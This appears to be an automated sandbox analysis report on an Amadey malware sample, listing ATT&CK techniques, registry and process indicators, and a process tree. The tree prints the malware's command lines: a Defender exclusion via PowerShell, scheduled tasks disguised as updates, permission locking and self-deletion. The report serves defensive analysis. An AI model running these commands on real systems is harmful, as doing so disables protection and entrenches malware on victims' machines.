amadey | 5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E70D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	F819.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E70D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	DF88.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	F819.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 29 IoCs

pid	Process
4596	D8D1.exe
540	DF88.exe
1552	E381.exe
1528	E528.exe
2224	E70D.exe
3636	ss31.exe
2884	oldplayer.exe
1452	XandETC.exe
2804	E70D.exe
4064	oneetx.exe
4668	F065.exe
1948	F3B2.exe
3040	F4EB.exe
3884	E70D.exe
4616	schtasks.exe
880	E70D.exe
3600	F819.exe
3180	F819.exe
3328	build2.exe
3056	F819.exe
784	build2.exe
2580	build3.exe
3220	build2.exe
2144	build2.exe
4796	build3.exe
468	updater.exe
552	oneetx.exe
100	mstsca.exe
4932	A973.exe

Loads dropped DLL 4 IoCs

pid	Process
784	build2.exe
784	build2.exe
2144	build2.exe
2144	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3160	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\fb168fac-a279-4a78-8910-26706879ef13\\E70D.exe\" --AutoStart"	E70D.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	api.2ip.ua
51	api.2ip.ua
52	api.2ip.ua
68	api.2ip.ua
36	api.2ip.ua

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2224 set thread context of 2804	2224	E70D.exe	99
PID 3884 set thread context of 880	3884	E70D.exe	116
PID 4616 set thread context of 3600	4616	schtasks.exe	117
PID 3180 set thread context of 3056	3180	F819.exe	120
PID 3328 set thread context of 784	3328	build2.exe	121
PID 3220 set thread context of 2144	3220	build2.exe	128

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2340	sc.exe
4916	sc.exe
1328	sc.exe
4160	sc.exe
1488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
4160	1528	WerFault.exe	92
3156	4668	WerFault.exe	103
2320	1948	WerFault.exe	106
3384	3040	WerFault.exe	108

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E381.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E381.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E381.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4344	schtasks.exe
4180	schtasks.exe
1616	schtasks.exe
4524	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1932	timeout.exe
1740	timeout.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
516	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
516	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE
3192	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3192	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
516	5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
1552	E381.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeShutdownPrivilege	2608	powercfg.exe
Token: SeCreatePagefilePrivilege	2608	powercfg.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	3880	powercfg.exe
Token: SeCreatePagefilePrivilege	3880	powercfg.exe
Token: SeShutdownPrivilege	4832	powercfg.exe
Token: SeCreatePagefilePrivilege	4832	powercfg.exe
Token: SeShutdownPrivilege	312	powercfg.exe
Token: SeCreatePagefilePrivilege	312	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4380	powershell.exe
Token: SeSecurityPrivilege	4380	powershell.exe
Token: SeTakeOwnershipPrivilege	4380	powershell.exe
Token: SeLoadDriverPrivilege	4380	powershell.exe
Token: SeSystemProfilePrivilege	4380	powershell.exe
Token: SeSystemtimePrivilege	4380	powershell.exe
Token: SeProfSingleProcessPrivilege	4380	powershell.exe
Token: SeIncBasePriorityPrivilege	4380	powershell.exe
Token: SeCreatePagefilePrivilege	4380	powershell.exe
Token: SeBackupPrivilege	4380	powershell.exe
Token: SeRestorePrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeSystemEnvironmentPrivilege	4380	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2884	oldplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3192 wrote to memory of 4596	3192	Explorer.EXE	88
PID 3192 wrote to memory of 4596	3192	Explorer.EXE	88
PID 3192 wrote to memory of 4596	3192	Explorer.EXE	88
PID 3192 wrote to memory of 540	3192	Explorer.EXE	89
PID 3192 wrote to memory of 540	3192	Explorer.EXE	89
PID 3192 wrote to memory of 540	3192	Explorer.EXE	89
PID 3192 wrote to memory of 1552	3192	Explorer.EXE	90
PID 3192 wrote to memory of 1552	3192	Explorer.EXE	90
PID 3192 wrote to memory of 1552	3192	Explorer.EXE	90
PID 3192 wrote to memory of 1528	3192	Explorer.EXE	92
PID 3192 wrote to memory of 1528	3192	Explorer.EXE	92
PID 3192 wrote to memory of 1528	3192	Explorer.EXE	92
PID 3192 wrote to memory of 2224	3192	Explorer.EXE	93
PID 3192 wrote to memory of 2224	3192	Explorer.EXE	93
PID 3192 wrote to memory of 2224	3192	Explorer.EXE	93
PID 540 wrote to memory of 3636	540	DF88.exe	95
PID 540 wrote to memory of 3636	540	DF88.exe	95
PID 540 wrote to memory of 2884	540	DF88.exe	96
PID 540 wrote to memory of 2884	540	DF88.exe	96
PID 540 wrote to memory of 2884	540	DF88.exe	96
PID 540 wrote to memory of 1452	540	DF88.exe	97
PID 540 wrote to memory of 1452	540	DF88.exe	97
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2224 wrote to memory of 2804	2224	E70D.exe	99
PID 2884 wrote to memory of 4064	2884	oldplayer.exe	100
PID 2884 wrote to memory of 4064	2884	oldplayer.exe	100
PID 2884 wrote to memory of 4064	2884	oldplayer.exe	100
PID 4064 wrote to memory of 4344	4064	oneetx.exe	102
PID 4064 wrote to memory of 4344	4064	oneetx.exe	102
PID 4064 wrote to memory of 4344	4064	oneetx.exe	102
PID 3192 wrote to memory of 4668	3192	Explorer.EXE	103
PID 3192 wrote to memory of 4668	3192	Explorer.EXE	103
PID 3192 wrote to memory of 4668	3192	Explorer.EXE	103
PID 3192 wrote to memory of 1948	3192	Explorer.EXE	106
PID 3192 wrote to memory of 1948	3192	Explorer.EXE	106
PID 3192 wrote to memory of 1948	3192	Explorer.EXE	106
PID 2804 wrote to memory of 3160	2804	E70D.exe	107
PID 2804 wrote to memory of 3160	2804	E70D.exe	107
PID 2804 wrote to memory of 3160	2804	E70D.exe	107
PID 3192 wrote to memory of 3040	3192	Explorer.EXE	108
PID 3192 wrote to memory of 3040	3192	Explorer.EXE	108
PID 3192 wrote to memory of 3040	3192	Explorer.EXE	108
PID 2804 wrote to memory of 3884	2804	E70D.exe	110
PID 2804 wrote to memory of 3884	2804	E70D.exe	110
PID 2804 wrote to memory of 3884	2804	E70D.exe	110
PID 3192 wrote to memory of 4616	3192	Explorer.EXE	154
PID 3192 wrote to memory of 4616	3192	Explorer.EXE	154
PID 3192 wrote to memory of 4616	3192	Explorer.EXE	154
PID 3884 wrote to memory of 880	3884	E70D.exe	116
PID 3884 wrote to memory of 880	3884	E70D.exe	116
PID 3884 wrote to memory of 880	3884	E70D.exe	116
PID 4616 wrote to memory of 3600	4616	schtasks.exe	117
PID 4616 wrote to memory of 3600	4616	schtasks.exe	117
PID 4616 wrote to memory of 3600	4616	schtasks.exe	117
PID 3884 wrote to memory of 880	3884	E70D.exe	116
PID 3884 wrote to memory of 880	3884	E70D.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Users\Admin\AppData\Local\Temp\5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe
  "C:\Users\Admin\AppData\Local\Temp\5eb8103fce78104972cfb45b1242d003f9e66d2da920c7aa5742e185822d3f4d.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:516
- C:\Users\Admin\AppData\Local\Temp\D8D1.exe
  C:\Users\Admin\AppData\Local\Temp\D8D1.exe
  2⤵
  - Executes dropped EXE
  PID:4596
- C:\Users\Admin\AppData\Local\Temp\DF88.exe
  C:\Users\Admin\AppData\Local\Temp\DF88.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:3636
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4064
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4344
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:1452
- C:\Users\Admin\AppData\Local\Temp\E381.exe
  C:\Users\Admin\AppData\Local\Temp\E381.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1552
- C:\Users\Admin\AppData\Local\Temp\E528.exe
  C:\Users\Admin\AppData\Local\Temp\E528.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 448
    3⤵
    - Program crash
    PID:4160
- C:\Users\Admin\AppData\Local\Temp\E70D.exe
  C:\Users\Admin\AppData\Local\Temp\E70D.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Users\Admin\AppData\Local\Temp\E70D.exe
    C:\Users\Admin\AppData\Local\Temp\E70D.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\fb168fac-a279-4a78-8910-26706879ef13" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:3160
  - - C:\Users\Admin\AppData\Local\Temp\E70D.exe
      "C:\Users\Admin\AppData\Local\Temp\E70D.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:3884
    - - C:\Users\Admin\AppData\Local\Temp\E70D.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E70D.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:880
      - C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build2.exe
        
        "C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build2.exe
        
        "C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:784
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build2.exe" & exit
        8⤵
        
        PID:412
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1740
      - C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build3.exe
        
        "C:\Users\Admin\AppData\Local\6c58541c-82c1-465e-b3a3-e06fc6bca710\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:2580
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4180
- C:\Users\Admin\AppData\Local\Temp\F065.exe
  C:\Users\Admin\AppData\Local\Temp\F065.exe
  2⤵
  - Executes dropped EXE
  PID:4668
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 816
    3⤵
    - Program crash
    PID:3156
- C:\Users\Admin\AppData\Local\Temp\F3B2.exe
  C:\Users\Admin\AppData\Local\Temp\F3B2.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1948 -s 456
    3⤵
    - Program crash
    PID:2320
- C:\Users\Admin\AppData\Local\Temp\F4EB.exe
  C:\Users\Admin\AppData\Local\Temp\F4EB.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3040 -s 448
    3⤵
    - Program crash
    PID:3384
- C:\Users\Admin\AppData\Local\Temp\F819.exe
  C:\Users\Admin\AppData\Local\Temp\F819.exe
  2⤵
  PID:4616
- - C:\Users\Admin\AppData\Local\Temp\F819.exe
    C:\Users\Admin\AppData\Local\Temp\F819.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3600
  - - C:\Users\Admin\AppData\Local\Temp\F819.exe
      "C:\Users\Admin\AppData\Local\Temp\F819.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3180
    - - C:\Users\Admin\AppData\Local\Temp\F819.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F819.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3056
      - C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build2.exe
        
        "C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build2.exe
        
        "C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2144
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build2.exe" & exit
        8⤵
        
        PID:4160
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1932
      - C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build3.exe
        
        "C:\Users\Admin\AppData\Local\99c5391d-a897-4b5c-8805-99272a442118\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4796
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3812
